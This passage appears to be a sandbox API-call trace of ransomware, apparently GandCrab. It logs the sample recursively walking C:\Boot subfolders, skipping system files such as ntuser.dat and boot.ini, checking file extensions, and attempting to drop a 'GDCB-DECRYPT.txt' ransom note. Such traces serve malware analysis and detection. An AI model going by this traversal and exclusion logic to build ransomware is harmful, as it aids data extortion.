lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0169.494] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-FR\\*") returned="C:\\Boot\\fr-FR\\*" [0169.494] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a49d8 [0169.494] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.494] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.494] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.494] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.494] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.494] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.494] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.494] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="C:\\Boot\\fr-FR\\bootmgr.exe.mui" [0169.494] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.494] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0169.494] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0169.494] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.494] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.494] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.494] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.494] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt" [0169.494] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.494] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0169.494] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0169.494] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0169.495] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0169.495] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.495] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.495] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.495] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.495] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.495] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.495] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.495] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.495] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.495] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.495] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.495] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.495] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.495] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\memtest.exe.mui") returned="C:\\Boot\\fr-FR\\memtest.exe.mui" [0169.495] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.495] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0169.495] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0169.495] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.495] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.495] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.495] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.495] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.495] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.495] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\GDCB-DECRYPT.txt") returned="C:\\Boot\\GDCB-DECRYPT.txt" [0169.495] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.496] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0169.496] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0169.496] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0169.496] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0169.496] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.496] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.496] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.496] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.496] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.496] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.496] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.496] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.496] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.496] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.496] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.496] lstrcmpW (lpString1="hr-HR", lpString2=".") returned 1 [0169.496] lstrcmpW (lpString1="hr-HR", lpString2="..") returned 1 [0169.496] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hr-HR" | out: lpString1="C:\\Boot\\hr-HR") returned="C:\\Boot\\hr-HR" [0169.496] lstrcatW (in: lpString1="C:\\Boot\\hr-HR", lpString2="\\" | out: lpString1="C:\\Boot\\hr-HR\\") returned="C:\\Boot\\hr-HR\\" [0169.496] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.496] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.496] lstrlenW (lpString="C:\\Boot\\hr-HR\\") returned 14 [0169.496] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="*" | out: lpString1="C:\\Boot\\hr-HR\\*") returned="C:\\Boot\\hr-HR\\*" [0169.496] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a49d8 [0169.496] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.497] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.497] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.497] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.497] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.497] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.497] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.497] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned="C:\\Boot\\hr-HR\\bootmgr.exe.mui" [0169.497] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0169.497] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.497] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.497] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.497] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.497] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt" [0169.497] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0169.497] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.497] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.497] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.497] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.497] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\hr-HR\\\\GDCB-DECRYPT.txt") returned 31 [0169.497] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\hr-hr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.497] GetLastError () returned 0x50 [0169.497] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.497] lstrlenW (lpString="C:\\Boot\\hr-HR\\") returned 14 [0169.497] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="*" | out: lpString1="C:\\Boot\\hr-HR\\*") returned="C:\\Boot\\hr-HR\\*" [0169.497] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4a18 [0169.497] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.498] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.498] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.498] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.498] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.498] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.498] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.498] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned="C:\\Boot\\hr-HR\\bootmgr.exe.mui" [0169.498] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.498] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0169.498] lstrlenW (lpString="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned 29 [0169.498] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.498] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.498] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.498] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.498] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt" [0169.498] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.498] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0169.498] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0169.498] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0169.498] lstrlenW (lpString="C:\\Boot\\hr-HR\\GDCB-DECRYPT.txt") returned 30 [0169.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.498] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.499] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.499] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0169.499] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.499] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0169.499] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0169.499] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hu-HU" | out: lpString1="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0169.499] lstrcatW (in: lpString1="C:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="C:\\Boot\\hu-HU\\") returned="C:\\Boot\\hu-HU\\" [0169.499] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.499] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.499] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0169.499] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="C:\\Boot\\hu-HU\\*") returned="C:\\Boot\\hu-HU\\*" [0169.499] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4d18 [0169.499] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.499] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.499] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.499] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.499] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.499] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.499] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.499] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="C:\\Boot\\hu-HU\\bootmgr.exe.mui" [0169.499] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0169.499] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.499] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.499] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.499] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.500] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt" [0169.500] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0169.500] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.500] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.500] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.500] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.500] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\memtest.exe.mui") returned="C:\\Boot\\hu-HU\\memtest.exe.mui" [0169.500] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29 [0169.500] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.500] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.500] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.500] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.500] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\hu-HU\\\\GDCB-DECRYPT.txt") returned 31 [0169.500] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\hu-hu\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.500] GetLastError () returned 0x50 [0169.500] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.500] lstrlenW (lpString="C:\\Boot\\hu-HU\\") returned 14 [0169.500] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="*" | out: lpString1="C:\\Boot\\hu-HU\\*") returned="C:\\Boot\\hu-HU\\*" [0169.500] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4b58 [0169.500] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.500] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.500] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.500] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.500] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.500] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.500] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.500] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="C:\\Boot\\hu-HU\\bootmgr.exe.mui" [0169.501] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.501] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0169.501] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0169.501] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.501] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.501] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.501] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.501] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt" [0169.501] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.501] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0169.501] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0169.501] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0169.501] lstrlenW (lpString="C:\\Boot\\hu-HU\\GDCB-DECRYPT.txt") returned 30 [0169.501] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.501] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.501] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.501] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.501] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.501] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.501] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.501] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.501] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.501] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.501] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.501] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.501] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.501] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\memtest.exe.mui") returned="C:\\Boot\\hu-HU\\memtest.exe.mui" [0169.501] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.502] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29 [0169.502] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29 [0169.502] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.502] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.502] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.502] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.502] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0169.502] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0169.502] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="it-IT" | out: lpString1="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0169.502] lstrcatW (in: lpString1="C:\\Boot\\it-IT", lpString2="\\" | out: lpString1="C:\\Boot\\it-IT\\") returned="C:\\Boot\\it-IT\\" [0169.502] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.502] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.502] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.502] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.502] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.502] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.502] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0169.502] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="C:\\Boot\\it-IT\\*") returned="C:\\Boot\\it-IT\\*" [0169.502] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.503] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.503] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.503] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.503] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.503] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.503] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.503] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 